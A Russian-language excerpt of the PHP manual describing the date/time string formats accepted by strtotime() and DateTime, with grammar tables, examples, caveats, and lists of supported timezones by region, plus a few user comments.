      • DateMalformedIntervalStringException
      • DateMalformedPeriodStringException
      • DateMalformedStringException

User Contributed Notes

There are no user contributed notes for this page.


Допустимые форматы даты/времени

В этом разделе описываются все различные форматы в BNF-подобном синтаксисе, которые принимает парсер: DateTimeImmutable, DateTime, date_create_immutable(), date_create(), date_parse() и strtotime(). Форматы сгруппированы по разделам. В большинстве случаев форматы из разных разделов, разделённые пробелом, запятой или точкой, могут использоваться в одной и той же строке даты/времени. Для каждого из поддерживаемых форматов приведены один или несколько примеров, а также описание формата. Символы в одинарных кавычках нечувствительны к регистру ('t' эквивалентно как t, так и T), символы в двойных кавычках чувствительны к регистру ("T" означает только T).

Чтобы отформатировать объекты DateTimeImmutable и DateTime, обратитесь к документации метода DateTimeInterface::format().

Следует принять во внимание общий свод правил.

  1. Парсер допускает для каждой единицы измерения (год, месяц, день, час, минута, секунда) полный диапазон значений. Для года это всего 4 цифры, для месяца - 0-12, дня - 0-31, для часа - 0-24, а для минуты - 0-59.
  2. Для секунд допускается значение 60, так как иногда строки даты с этой прыгающей секундой действительно появляются. Но PHP реализует время Unix, где "60" не является допустимым числом секунд и поэтому происходит переполнение.
  3. Функция strtotime() возвращает false, если какое-либо число находится вне диапазонов, а конструктор DateTimeImmutable::__construct() выбрасывает исключение.
  4. Если строка содержит дату, все элементы времени обнуляются до 0.
  5. Все менее значимые элементы времени сбрасываются до 0, если в данной строке присутствует какая-либо часть времени.
  6. Парсер не делает никаких проверок, чтобы сделать его быстрее (и более универсальным).
  7. Помимо правил для отдельных элементов времени, синтаксический анализатор понимает и более специфические комбинированные форматы, например, разбор меток времени Unix (@1690388256) и дат недели в формате ISO (2008-W28-3).

  8. Существует дополнительная проверка, если указана недействительная дата:

    <?php
    $res     = date_parse("2015-09-31");
    var_dump($res["warnings"]);
    ?>

    Результат выполнения данного примера:

    array(1) {
  [11] =>
  string(27) "The parsed date was invalid"
}

  9. Крайние случаи уже можно обработать, для этого необходимо использовать метод DateTimeImmutable::createFromFormat(), предоставляя правильный формат.

    <?php
    $res     = DateTimeImmutable::createFromFormat("Y-m-d", "2015-09-34");
    var_dump($res);

    Результат выполнения данного примера:

    object(DateTimeImmutable)#1 (3) {
  ["date"]=>
  string(26) "2015-10-04 17:24:43.000000"
  ["timezone_type"]=>
  int(3)
  ["timezone"]=>
  string(13) "Europe/London"
}

Форматы времени

На этой странице описаны форматы даты/времени в BNF-подобном синтаксисе, которые понимает парсер функций:
DateTimeImmutable, DateTime,
date_create(),
date_create_immutable() и
strtotime().

Чтобы отформатировать объекты DateTimeImmutable и DateTime, обратитесь к документации метода DateTimeInterface::format().

Используемые символы
Описание | Формат | Примеры
frac (дробная часть) | . [0-9]+ | ".21342", ".85"
hh (часы в 12-часовом формате) | "0"?[1-9] | "1"[0-2] | "04", "7", "12"
HH (часы в 24-часовом формате) | [01][0-9] | "2"[0-4] | "04", "07", "19"
meridian (Ante meridiem или Post meridiem) | [AaPp] .? [Mm] .? [\0\t ] | "A.m.", "pM", "am."
MM (минуты) | [0-5][0-9] | "00", "12", "59"
II (секунды) | [0-5][0-9] | "00", "12", "59"
space (символ пробела или табуляции) | [ \t] |
tz (часовой пояс) | "("? [A-Za-z]{1,6} ")"? | [A-Z][a-z]+([_/][A-Z][a-z]+)+ | "CEST", "Europe/Amsterdam", "America/Indiana/Knox"
tzcorrection (числовое значение смещения часового пояса) | "GMT"? [+-] hh ":"? MM? | "+0400", "GMT-07:00", "-07:00"
12-часовой формат
Описание | Формат | Примеры
Только часы (с Ante meridiem или Post meridiem) | hh space? meridian | "4 am", "5PM"
Часы и минуты (с Ante meridiem или Post meridiem) | hh [.:] MM space? meridian | "4:08 am", "7:19P.M."
Часы, минуты и секунды (с Ante meridiem или Post meridiem) | hh [.:] MM [.:] II space? meridian | "4:08:37 am", "7:19:19P.M."
MS SQL (Часы, минуты, секунды и дробная часть с Ante meridiem или Post meridiem) | hh ":" MM ":" II [.:] [0-9]+ meridian | "4:08:39:12313am"
24-часовой формат
Описание | Формат | Примеры
Часы и минуты | 't'? HH [.:] MM | "04:08", "19.19", "T23:43"
Часы и минуты (без двоеточия-разделителя) | 't'? HH MM | "0408", "t1919", "T2343"
Часы, минуты и секунды | 't'? HH [.:] MM [.:] II | "04.08.37", "t19:19:19"
Часы, минуты и секунды (без двоеточия-разделителя) | 't'? HH MM II | "040837", "T191919"
Часы, минуты, секунды и часовой пояс | 't'? HH [.:] MM [.:] II space? ( tzcorrection | tz ) | "040837CEST", "T191919-0700"
Часы, минуты, секунды и дробная часть | 't'? HH [.:] MM [.:] II frac | "04.08.37.81412", "19:19:19.532453"
Сведения о часовом поясе | tz | tzcorrection | "CEST", "Europe/Amsterdam", "+0430", "GMT-06:00"

Форматы даты

На этой странице описаны форматы даты в BNF-подобном синтаксисе, которые понимает парсер функций:
DateTimeImmutable, DateTime,
date_create(),
date_create_immutable() и
strtotime().

Чтобы отформатировать объекты DateTimeImmutable и DateTime, обратитесь к документации метода DateTimeInterface::format().

Используемые символы
Описание | Формат | Примеры
daysuf (суффикс порядкового числительного дня месяца) | "st" | "nd" | "rd" | "th" |
dd (день месяца без ведущих нулей) | ([0-2]?[0-9] | "3"[01]) daysuf? | "7th", "22nd", "31"
DD (день месяца, 2 цифры с ведущим нулём) | "0" [0-9] | [1-2][0-9] | "3" [01] | "07", "31"
m (полное или сокращённое название месяца) | 'january' | 'february' | 'march' | 'april' | 'may' | 'june' | 'july' | 'august' | 'september' | 'october' | 'november' | 'december' | 'jan' | 'feb' | 'mar' | 'apr' | 'may' | 'jun' | 'jul' | 'aug' | 'sep' | 'sept' | 'oct' | 'nov' | 'dec' | "I" | "II" | "III" | "IV" | "V" | "VI" | "VII" | "VIII" | "IX" | "X" | "XI" | "XII" |
M (сокращённое название месяца) | 'jan' | 'feb' | 'mar' | 'apr' | 'may' | 'jun' | 'jul' | 'aug' | 'sep' | 'sept' | 'oct' | 'nov' | 'dec' |
mm (порядковый номер месяца) | "0"? [0-9] | "1"[0-2] | "0", "04", "7", "12"
MM (порядковый номер месяца, 2 цифры с ведущим нулём) | "0" [0-9] | "1"[0-2] | "00", "04", "07", "12"
y (порядковый номер года) | [0-9]{1,4} | "00", "78", "08", "8", "2008"
yy (порядковый номер года, 2 цифры) | [0-9]{2} | "00", "08", "78"
YY (порядковый номер года, 4 цифры) | [0-9]{4} | "2000", "2008", "1978"
YYY | [0-9]{5,19} | "81412", "20192"
Региональные нотации
Описание | Формат | Примеры
Месяц и день в американской нотации | mm "/" dd | "5/12", "10/27"
Месяц, день и год в американской нотации | mm "/" dd "/" y | "12/22/78", "1/17/2006", "1/17/6"
4 цифры года, месяц и день со слешем-разделителем | YY "/" mm "/" dd | "2008/6/30", "1978/12/22"
4 цифры года и месяц (GNU) | YY "-" mm | "2008-6", "2008-06", "1978-12"
Год, месяц и день с дефисом-разделителем | y "-" mm "-" dd | "2008-6-30", "78-12-22", "8-6-21"
День, месяц и 4 цифры года с разделителем в виде точки, символа табуляции или дефиса | dd [.\t-] mm [.-] YY | "30-6-2008", "22.12.1978"
День, месяц и 2 цифры года с разделителем в виде точки или символа табуляции | dd [.\t] mm "." yy | "30.6.08", "22.12.78"
День, название месяца и год | dd ([ \t.-])* m ([ \t.-])* y | "30-June 2008", "22DEC78", "14 III 1879"
Название месяца и 4 цифры года (день месяца сбрасывается на 1) | m ([ \t.-])* YY | "June 2008", "DEC1978", "March 1879"
4 цифры года и название месяца (день месяца сбрасывается на 1) | YY ([ \t.-])* m | "2008 June", "1978-XII", "1879.MArCH"
Название месяца, день и год | m ([ .\t-])* dd [,.stndrh\t ]+ y | "July 1st, 2008", "April 17, 1790", "May.9,78"
Название месяца и день | m ([ .\t-])* dd [,.stndrh\t ]* | "July 1st,", "Apr 17", "May.9"
День и название месяца | dd ([ .\t-])* m | "1 July", "17 Apr", "9.May"
Сокращённое название месяца, день и год | M "-" DD "-" y | "May-09-78", "Apr-17-1790"
Год, сокращённое название месяца и день | y "-" M "-" DD | "78-Dec-22", "1814-MAY-17"
Только год | YY | "1978", "2008"
Год (расширенный, 5-19 цифр со знаком) | [+-] YYY | "-81120", "+20192"
Только название месяца | m | "March", "jun", "DEC"
Нотации ISO8601
Описание | Формат | Примеры
8 цифр (год, месяц и день) | YY MM DD | "15810726", "19780417", "18140517"
8 цифр (год, месяц и день) со слешем-разделителем | YY "/" MM "/" DD | "2008/06/30", "1978/12/22"
2 цифры года, месяц и день с дефисом-разделителем | yy "-" MM "-" DD | "08-06-30", "78-12-22"
4 цифры года с необязательным знаком, месяц и день | [+-]? YY "-" MM "-" DD | "-0002-07-26", "+1978-04-17", "1814-05-17"
Пятизначный год с обязательным знаком, месяцем и днём | [+-] YYY "-" MM "-" DD | "-81120-02-26", "+20192-04-17"

Замечание:

Форматы y и yy для годов меньше 100 обрабатываются в исключительных случаях при использовании символов y или yy. Если год попадает в диапазон 0-69 (включительно), то к нему добавляется 2000. Если же год принадлежит диапазону 70-99 (включительно), то к нему добавляется 1900. Это означает, что дата "00-01-01" интерпретируется как "2000-01-01".

Замечание:

Формат "День, месяц и 2 цифры года с разделителем в виде точки или символа табуляции" (dd [.\t] mm "." yy) работает только для годов из диапазона 61-99 (включительно). За пределами этого диапазона отдаётся предпочтение формату времени "HH [.:] MM [.:] SS".

Замечание:

Формат "Только год" задействуется только в случае, если строка времени была найдена. В противном случае отдаётся предпочтению формату HH MM.

Предостережение

Возможен выход за границы диапазона форматов dd и DD. День месяца с порядковым номером 0 подразумевает последний день предыдущего месяца в результате выхода за границы диапазона. Согласно написанному, "2008-08-00" равносильно "2008-07-31", а "2008-06-31" соответствует "2008-07-01" (в июне всего 30 дней).

Обратите внимание, что диапазон дней ограничен 0-31, как указано выше регулярным выражением. Так что, например, "2008-06-32" - некорректная дата.

Также допускается выход за границы диапазона для форматов mm и MM со значением 0. Значение месяца 0 соответствует декабрю предыдущего года. Например, дата "2008-00-22" равносильна "2007-12-22".

Если учесть два предыдущих замечания и выход за границы диапазона дней и месяцев, получим следующее: дата "2008-00-00" в первую очередь преобразуется в "2007-12-00", которая будет преобразована в "2007-11-30". То же случится с датой "0000-00-00", которая будет преобразована к "-0001-11-30" (минус первый год в календаре ISO 8601 и 2 год до н.э. по григорианскому календарю).

Составные форматов

На этой странице описаны различные составные форматы даты/времени в BNF-подобном синтаксисе, которые понимает парсер
функций: DateTimeImmutable, DateTime,
date_create(),
date_create_immutable() и
strtotime().

Чтобы отформатировать объекты DateTimeImmutable и DateTime, обратитесь к документации метода DateTimeInterface::format().

Используемые символы
Описание | Форматы | Примеры
DD (день месяца с ведущим нулём) | "0" [0-9] | [1-2][0-9] | "3" [01] | "02", "12", "31"
doy (день в году) | "00"[1-9] | "0"[1-9][0-9] | [1-2][0-9][0-9] | "3"[0-5][0-9] | "36"[0-6] | "001", "012", "180", "350", "366"
frac (дробная часть) | . [0-9]+ | ".21342", ".85"
hh (часы) | "0"?[1-9] | "1"[0-2] | "04", "7", "12"
HH (часы с ведущим нулём) | [01][0-9] | "2"[0-4] | "04", "07", "19"
meridian (Ante meridiem или Post meridiem) | [AaPp] .? [Mm] .? [\0\t ] | "A.m.", "pM", "am."
ii (минуты) | [0-5]?[0-9] | "04", "8", "59"
II (минуты с ведущим нулём) | [0-5][0-9] | "04", "08", "59"
M (сокращённое наименование месяца) | 'jan' | 'feb' | 'mar' | 'apr' | 'may' | 'jun' | 'jul' | 'aug' | 'sep' | 'sept' | 'oct' | 'nov' | 'dec' |
MM (месяц с ведущим нулём) | [0-1][0-9] | "00", "12"
space (символ пробела или табуляции) | [ \t] |
ss (секунды) | ([0-5]?[0-9])|60 | "04", "8", "59", "60" (дополнительная секунда)
SS (секунды с ведущим нулём) | [0-5][0-9] | "04", "08", "59"
W (неделя в году) | "0"[1-9] | [1-4][0-9] | "5"[0-3] | "05", "17", "53"
tzcorrection (смещение часового пояса) | "GMT"? [+-] hh ":"? II? | "+0400", "GMT-07:00", "-07:00"
YY (4 цифры года) | [0-9]{4} | "2000", "2008", "1978"
Форматы стандартов
Описание | Примеры
ATOM | "2022-06-02T16:58:35+00:00"
COOKIE | "Thursday, 02-Jun-2022 16:58:35 UTC"
ISO8601 | "2022-06-02T16:58:35+0000"
» RFC 822 | "Thu, 02 Jun 22 16:58:35 +0000"
» RFC 850 | "Thursday, 02-Jun-22 16:58:35 UTC"
» RFC 1036 | "Thu, 02 Jun 22 16:58:35 +0000"
» RFC 1123 | "Thu, 02 Jun 2022 16:58:35 +0000"
» RFC 2822 | "Thu, 02 Jun 2022 16:58:35 +0000"
» RFC 3339 | "2022-06-02T16:58:35+00:00"
» RFC 3339 Extended | "2022-06-02T16:58:35.698+00:00"
» RFC 7231 | "Thu, 02 Jun 2022 16:58:35 GMT"
RSS | "Thu, 02 Jun 2022 16:58:35 +0000"
W3C | "2022-06-02T16:58:35+00:00"
Региональные нотации
Описание | Формат | Примеры
Общий формат log-записей | dd "/" M "/" YY : HH ":" II ":" SS space tzcorrection | "10/Oct/2000:13:55:36 -0700"
EXIF | YY ":" MM ":" DD " " HH ":" II ":" SS | "2008:08:07 18:11:31"
Год и неделя в формате ISO | YY "-"? "W" W | "2008W27", "2008-W28"
Год, неделя в формате ISO и день недели | YY "-"? "W" W "-"? [0-7] | "2008W273", "2008-W28-3"
MySQL | YY "-" MM "-" DD " " HH ":" II ":" SS | "2008-08-07 18:11:31"
PostgreSQL: год и день в году | YY "."? doy | "2008.197", "2008197"
SOAP | YY "-" MM "-" DD "T" HH ":" II ":" SS frac tzcorrection? | "2008-07-01T22:35:17.02", "2008-07-01T22:35:17.03+08:00"
Unix Timestamp | "@" "-"? [0-9]+ | "@1215282385"
Метка времени Unix с микросекундами | "@" "-"? [0-9]+ "." [0-9]{0,6} | "@1607974647.503686"
XMLRPC | YY MM DD "T" hh ":" II ":" SS | "20080701T22:38:07", "20080701T9:38:07"
XMLRPC (Compact) | YY MM DD 't' hh II SS | "20080701t223807", "20080701T093807"
WDDX | YY "-" mm "-" dd "T" hh ":" ii ":" ss | "2008-7-1T9:3:37"

Замечание:

Символ "W" в форматах "Год и неделя в формате ISO" и "Год, неделя в формате ISO и день недели" чувствителен к регистру, допускается использование символа "W" только в верхнем регистре.

Символ "T" в форматах SOAP, XMLRPC и WDDX также чувствителен к регистру, допускается использование символа "T" только в верхнем регистре.

Формат "Unix Timestamp" устанавливает часовой пояс в UTC.

Относительные форматы

На этой странице описаны относительные форматы даты/времени в BNF-подобном синтаксисе, которые понимает парсер
функций: DateTimeImmutable, DateTime,
date_create(),
date_create_immutable() и
strtotime().

Чтобы отформатировать объекты DateTimeImmutable и DateTime, обратитесь к документации метода DateTimeInterface::format().

Используемые символы
Описание | Формат
dayname (наименование дня недели) | 'sunday' | 'monday' | 'tuesday' | 'wednesday' | 'thursday' | 'friday' | 'saturday' | 'sun' | 'mon' | 'tue' | 'wed' | 'thu' | 'fri' | 'sat'
daytext (интервалы в неделях) | 'weekday' | 'weekdays'
number | [+-]?[0-9]+
ordinal (порядковые числительные и указатели) | 'first' | 'second' | 'third' | 'fourth' | 'fifth' | 'sixth' | 'seventh' | 'eighth' | 'ninth' | 'tenth' | 'eleventh' | 'twelfth' | 'next' | 'last' | 'previous' | 'this'
reltext (указатели) | 'next' | 'last' | 'previous' | 'this'
space (символы пробела и табуляции) | [ \t]+
unit (интервалы) | 'ms' | 'µs' | (( 'msec' | 'millisecond' | 'µsec' | 'microsecond' | 'usec' | 'sec' | 'second' | 'min' | 'minute' | 'hour' | 'day' | 'fortnight' | 'forthnight' | 'month' | 'year') 's'?) | 'weeks' | daytext
Нотации, основанные на днях
Формат | Описание | Примеры
'yesterday' | Полночь вчера | "yesterday 14:00"
'midnight' | Время устанавливается в 00:00:00 |
'today' | Время устанавливается в 00:00:00 |
'now' | Текущее время |
'noon' | Время устанавливается в 12:00:00 | "yesterday noon"
'tomorrow' | Полночь завтра |
'back of' hour | 15 минут заданного часа | "back of 7pm", "back of 15"
'front of' hour | Без 15 минут заданный час | "front of 5am", "front of 23"
'first day of' | Устанавливает первый день текущего месяца. Обычно эту нотацию лучше использовать вместе с названием месяца, следующим за ней, иначе будет учитываться текущий месяц. | "first day of January 2008"
'last day of' | Устанавливает последний день текущего месяца. Обычно эту нотацию лучше использовать вместе с названием месяца, следующим за ней, иначе будет учитываться текущий месяц. | "last day of next month"
ordinal space dayname space 'of' | Вычисляет x день недели текущего или заданного месяца. | "first sat of July 2008"
'last' space dayname space 'of' | Вычисляет последний день недели текущего или заданного месяца. | "last sat of July 2008"
number space? (unit | 'week') | Вычисляет относительное время при использовании числовых значений периода. | "+5 weeks", "12 day", "-7 weekdays"
(ordinal | reltext) space unit | Вычисляет относительное время при использовании строковых значений периода. last и previous то же, что и -1, this ни на что не влияет, а next - +1. | "fifth day", "second month", "last day", "previous year"
'ago' | Вычитает все значения из последнего полученного момента времени. | "2 days ago", "8 days ago 14:00", "2 months 5 days ago", "2 months ago 5 days", "2 days ago ago"
dayname | Перемещается на следующий день указанного дня недели. (Смотрите замечание) | "Monday"
reltext space 'week' | Разбирает специфичный формат "weekday + last/this/next week". | "Monday next week"

Замечание:

Относительные выражения всегда обрабатываются после не являющихся относительными. Например, "+1 week july 2008" эквивалентно "july 2008 +1 week".

Исключением этого правила являются: "yesterday", "midnight", "today", "noon" и "tomorrow". Записи "tomorrow 11:00" и "11:00 tomorrow" отличаются. Если принять сегодняшнюю дату за "July 23rd, 2008", то первая запись возвращает "2008-07-24 11:00", а вторая "2008-07-24 00:00". Причина такого поведения в том, что эти пять выражений влияют непосредственно на время.

Такие ключевые слова, как "first day of", зависят от контекста, в котором используется строка относительного формата. Если она используется в статическом методе или функции, то референтом является текущая системная метка времени. Однако при использовании в методе DateTime::modify() или DateTimeImmutable::modify(), референтом является объект, на котором вызывается метод modify().

Замечание:

Следует обратить внимание на приведённые ниже замечания относительно текущего дня недели и дня недели, указанного в строке даты/времени. Текущий день недели может быть вычислен из независимой части строки даты/времени.

  1. "dayname" не сдвигает дату на другой день. (Например: "Wed July 23rd, 2008" означает "2008-07-23").
  2. "number dayname" не сдвигает дату на другой день. (Например: "1 wednesday july 23rd, 2008" означает "2008-07-23").
  3. "number week dayname" добавляет соответствующее число недель, но не сдвигает дату на другой день. В этом случае имеют место два различных блока "number week" и "dayname". (Например: "+1 week wednesday july 23rd, 2008" означает "2008-07-30").
  4. "ordinal dayname" сдвигает дату на другой день. (Например: "last wednesday july 23rd, 2008" означает "2008-07-30").
  5. "number week ordinal dayname" добавляет соответствующее число недель, а после сдвигает дату на другой день. В этом случае имеют место два различных блока "number week" и "ordinal dayname". (Например: "+1 week first wednesday july 23rd, 2008" означает "2008-08-06").
  6. "ordinal dayname 'of' " не сдвигает дату на другой день. (Например: "first wednesday of july 23rd, 2008" означает "2008-07-02", потому как определённые фразы с 'of' сбрасывают день месяца на '1' и в этом случае игнорируется '23rd').

Также следует обратить внимание, что "of" в "ordinal space dayname space 'of' " и "'last' space dayname space 'of' " имеет особый смысл.

  1. Устанавливает день месяца в 1.
  2. "ordinal dayname 'of' "не сдвигает дату на другой день. (Например: "first tuesday of july 2008" означает "2008-07-01").
  3. "ordinal dayname" сдвигает дату на другой день. (Например: "first tuesday july 2008" означает "2008-07-08", смотрите также 4-й пункт предыдущего замечания).
  4. "'last' dayname 'of' " получает последний в месяце dayname. (Например: "last wed of july 2008" означает "2008-07-30")
  5. "'last' dayname" получает последний dayname перед текущим днём. (Например: "last wed july 2008" означает "2008-06-25"; "july 2008" устанавливает дату в "2008-07-01", а после "last wed" смещает дату к предыдущей среде, а именно к "2008-06-25").

Замечание:

Относительные значения в месяцах рассчитываются исходя из их продолжительности. Например, из "+2 month 2011-11-30" получится "2012-01-30". Это связано с тем, что ноябрь состоит из 30 дней, а декабрь из 31 дня, что составляет 61 дней.

Замечание:

Под числом (number) подразумевается целое число (integer); Если будет указано десятичное число, то десятичная точка (или запятая) будет рассматриваться как разделитель. К примеру, '+1.5 hours' будет считаться как '+1 5 hours', а не '+1 hour +30 minutes'.

Список изменений

Версия | Описание
8.2.0 | Символы number больше не принимают несколько знаков, например, +-2.
7.0.8 | Недели всегда начинаются с понедельника. Ранее можно было определять начало недели с воскресенья.

User Contributed Notes

There are no user contributed notes for this page.


Список поддерживаемых часовых поясов

Содержание

  • Африка
  • Америка
  • Антарктика
  • Арктика
  • Азия
  • Атлантика
  • Австралия
  • Европа
  • Индийский
  • Тихоокеанский
  • Другие

Здесь вы найдёте полный список часовых поясов, поддерживаемых PHP, которые могут быть использованы, например, в date_default_timezone_set().

Предостережение

Поведение часовых поясов, отсутствующих в списке, не определено.

Замечание: Последняя версия базы данных часовых поясов может быть установлена с помощью PECL-пакета » timezonedb.

Замечание: Этот список основан на версии базы данных часовых поясов 2023.3.

User Contributed Notes

info at scheduleplus dot xyz 14-Aug-2023 03:32
Complete list here

https://raw.githubusercontent.com/leon-do/Timezones/main/timezone.json
Manu 21-Jun-2023 01:38
The list of valid timezones is available as DateTimeZone::listIdentifiers (https://www.php.net/manual/en/datetimezone.listidentifiers.php)


Африка

Африка
Africa/Abidjan | Africa/Accra | Africa/Addis_Ababa | Africa/Algiers
Africa/Asmara | Africa/Bamako | Africa/Bangui | Africa/Banjul
Africa/Bissau | Africa/Blantyre | Africa/Brazzaville | Africa/Bujumbura
Africa/Cairo | Africa/Casablanca | Africa/Ceuta | Africa/Conakry
Africa/Dakar | Africa/Dar_es_Salaam | Africa/Djibouti | Africa/Douala
Africa/El_Aaiun | Africa/Freetown | Africa/Gaborone | Africa/Harare
Africa/Johannesburg | Africa/Juba | Africa/Kampala | Africa/Khartoum
Africa/Kigali | Africa/Kinshasa | Africa/Lagos | Africa/Libreville
Africa/Lome | Africa/Luanda | Africa/Lubumbashi | Africa/Lusaka
Africa/Malabo | Africa/Maputo | Africa/Maseru | Africa/Mbabane
Africa/Mogadishu | Africa/Monrovia | Africa/Nairobi | Africa/Ndjamena
Africa/Niamey | Africa/Nouakchott | Africa/Ouagadougou | Africa/Porto-Novo
Africa/Sao_Tome | Africa/Tripoli | Africa/Tunis | Africa/Windhoek

User Contributed Notes

There are no user contributed notes for this page.


Америка

Америка
America/Adak | America/Anchorage | America/Anguilla | America/Antigua
America/Araguaina | America/Argentina/Buenos_Aires | America/Argentina/Catamarca | America/Argentina/Cordoba
America/Argentina/Jujuy | America/Argentina/La_Rioja | America/Argentina/Mendoza | America/Argentina/Rio_Gallegos
America/Argentina/Salta | America/Argentina/San_Juan | America/Argentina/San_Luis | America/Argentina/Tucuman
America/Argentina/Ushuaia | America/Aruba | America/Asuncion | America/Atikokan
America/Bahia | America/Bahia_Banderas | America/Barbados | America/Belem
America/Belize | America/Blanc-Sablon | America/Boa_Vista | America/Bogota
America/Boise | America/Cambridge_Bay | America/Campo_Grande | America/Cancun
America/Caracas | America/Cayenne | America/Cayman | America/Chicago
America/Chihuahua | America/Ciudad_Juarez | America/Costa_Rica | America/Creston
America/Cuiaba | America/Curacao | America/Danmarkshavn | America/Dawson
America/Dawson_Creek | America/Denver | America/Detroit | America/Dominica
America/Edmonton | America/Eirunepe | America/El_Salvador | America/Fort_Nelson
America/Fortaleza | America/Glace_Bay | America/Goose_Bay | America/Grand_Turk
America/Grenada | America/Guadeloupe | America/Guatemala | America/Guayaquil
America/Guyana | America/Halifax | America/Havana | America/Hermosillo
America/Indiana/Indianapolis | America/Indiana/Knox | America/Indiana/Marengo | America/Indiana/Petersburg
America/Indiana/Tell_City | America/Indiana/Vevay | America/Indiana/Vincennes | America/Indiana/Winamac
America/Inuvik | America/Iqaluit | America/Jamaica | America/Juneau
America/Kentucky/Louisville | America/Kentucky/Monticello | America/Kralendijk | America/La_Paz
America/Lima | America/Los_Angeles | America/Lower_Princes | America/Maceio
America/Managua | America/Manaus | America/Marigot | America/Martinique
America/Matamoros | America/Mazatlan | America/Menominee | America/Merida
America/Metlakatla | America/Mexico_City | America/Miquelon | America/Moncton
America/Monterrey | America/Montevideo | America/Montserrat | America/Nassau
America/New_York | America/Nome | America/Noronha | America/North_Dakota/Beulah
America/North_Dakota/Center | America/North_Dakota/New_Salem | America/Nuuk | America/Ojinaga
America/Panama | America/Paramaribo | America/Phoenix | America/Port-au-Prince
America/Port_of_Spain | America/Porto_Velho | America/Puerto_Rico | America/Punta_Arenas
America/Rankin_Inlet | America/Recife | America/Regina | America/Resolute
America/Rio_Branco | America/Santarem | America/Santiago | America/Santo_Domingo
America/Sao_Paulo | America/Scoresbysund | America/Sitka | America/St_Barthelemy
America/St_Johns | America/St_Kitts | America/St_Lucia | America/St_Thomas
America/St_Vincent | America/Swift_Current | America/Tegucigalpa | America/Thule
America/Tijuana | America/Toronto | America/Tortola | America/Vancouver
America/Whitehorse | America/Winnipeg | America/Yakutat |

User Contributed Notes

There are no user contributed notes for this page.


Антарктика

Антарктика
Antarctica/Casey | Antarctica/Davis | Antarctica/DumontDUrville | Antarctica/Macquarie
Antarctica/Mawson | Antarctica/McMurdo | Antarctica/Palmer | Antarctica/Rothera
Antarctica/Syowa | Antarctica/Troll | Antarctica/Vostok |

User Contributed Notes

There are no user contributed notes for this page.


Арктика

Арктика
Arctic/Longyearbyen

User Contributed Notes

There are no user contributed notes for this page.


Азия

Азия
Asia/Aden | Asia/Almaty | Asia/Amman | Asia/Anadyr
Asia/Aqtau | Asia/Aqtobe | Asia/Ashgabat | Asia/Atyrau
Asia/Baghdad | Asia/Bahrain | Asia/Baku | Asia/Bangkok
Asia/Barnaul | Asia/Beirut | Asia/Bishkek | Asia/Brunei
Asia/Chita | Asia/Choibalsan | Asia/Colombo | Asia/Damascus
Asia/Dhaka | Asia/Dili | Asia/Dubai | Asia/Dushanbe
Asia/Famagusta | Asia/Gaza | Asia/Hebron | Asia/Ho_Chi_Minh
Asia/Hong_Kong | Asia/Hovd | Asia/Irkutsk | Asia/Jakarta
Asia/Jayapura | Asia/Jerusalem | Asia/Kabul | Asia/Kamchatka
Asia/Karachi | Asia/Kathmandu | Asia/Khandyga | Asia/Kolkata
Asia/Krasnoyarsk | Asia/Kuala_Lumpur | Asia/Kuching | Asia/Kuwait
Asia/Macau | Asia/Magadan | Asia/Makassar | Asia/Manila
Asia/Muscat | Asia/Nicosia | Asia/Novokuznetsk | Asia/Novosibirsk
Asia/Omsk | Asia/Oral | Asia/Phnom_Penh | Asia/Pontianak
Asia/Pyongyang | Asia/Qatar | Asia/Qostanay | Asia/Qyzylorda
Asia/Riyadh | Asia/Sakhalin | Asia/Samarkand | Asia/Seoul
Asia/Shanghai | Asia/Singapore | Asia/Srednekolymsk | Asia/Taipei
Asia/Tashkent | Asia/Tbilisi | Asia/Tehran | Asia/Thimphu
Asia/Tokyo | Asia/Tomsk | Asia/Ulaanbaatar | Asia/Urumqi
Asia/Ust-Nera | Asia/Vientiane | Asia/Vladivostok | Asia/Yakutsk
Asia/Yangon | Asia/Yekaterinburg | Asia/Yerevan |

User Contributed Notes

There are no user contributed notes for this page.


Атлантика

Атлантика
Atlantic/Azores | Atlantic/Bermuda | Atlantic/Canary | Atlantic/Cape_Verde
Atlantic/Faroe | Atlantic/Madeira | Atlantic/Reykjavik | Atlantic/South_Georgia
Atlantic/St_Helena | Atlantic/Stanley |  |

User Contributed Notes

There are no user contributed notes for this page.


Австралия

Австралия
Australia/Adelaide | Australia/Brisbane | Australia/Broken_Hill | Australia/Darwin
Australia/Eucla | Australia/Hobart | Australia/Lindeman | Australia/Lord_Howe
Australia/Melbourne | Australia/Perth | Australia/Sydney |

User Contributed Notes

There are no user contributed notes for this page.


Европа

Европа
Europe/Amsterdam | Europe/Andorra | Europe/Astrakhan | Europe/Athens
Europe/Belgrade | Europe/Berlin | Europe/Bratislava | Europe/Brussels
Europe/Bucharest | Europe/Budapest | Europe/Busingen | Europe/Chisinau
Europe/Copenhagen | Europe/Dublin | Europe/Gibraltar | Europe/Guernsey
Europe/Helsinki | Europe/Isle_of_Man | Europe/Istanbul | Europe/Jersey
Europe/Kaliningrad | Europe/Kirov | Europe/Kyiv | Europe/Lisbon
Europe/Ljubljana | Europe/London | Europe/Luxembourg | Europe/Madrid
Europe/Malta | Europe/Mariehamn | Europe/Minsk | Europe/Monaco
Europe/Moscow | Europe/Oslo | Europe/Paris | Europe/Podgorica
Europe/Prague | Europe/Riga | Europe/Rome | Europe/Samara
Europe/San_Marino | Europe/Sarajevo | Europe/Saratov | Europe/Simferopol
Europe/Skopje | Europe/Sofia | Europe/Stockholm | Europe/Tallinn
Europe/Tirane | Europe/Ulyanovsk | Europe/Vaduz | Europe/Vatican
Europe/Vienna | Europe/Vilnius | Europe/Volgograd | Europe/Warsaw
Europe/Zagreb | Europe/Zurich |  |

User Contributed Notes

garcol 10-Nov-2023 11:51
'Europe/London' != 'UTC'

Because of the UK had between 1969-1971 GMT+1 leads the use of London timezone to an additional hour inbetween UNIX timestamp.

'Europe/London' = BST (British Standard Time)
'UTC' = GMT


Индийский

Индийский
Indian/Antananarivo | Indian/Chagos | Indian/Christmas | Indian/Cocos
Indian/Comoro | Indian/Kerguelen | Indian/Mahe | Indian/Maldives
Indian/Mauritius | Indian/Mayotte | Indian/Reunion |

User Contributed Notes

There are no user contributed notes for this page.


Тихоокеанский

Тихоокеанский
Pacific/Apia | Pacific/Auckland | Pacific/Bougainville | Pacific/Chatham
Pacific/Chuuk | Pacific/Easter | Pacific/Efate | Pacific/Fakaofo
Pacific/Fiji | Pacific/Funafuti | Pacific/Galapagos | Pacific/Gambier
Pacific/Guadalcanal | Pacific/Guam | Pacific/Honolulu | Pacific/Kanton
Pacific/Kiritimati | Pacific/Kosrae | Pacific/Kwajalein | Pacific/Majuro
Pacific/Marquesas | Pacific/Midway | Pacific/Nauru | Pacific/Niue
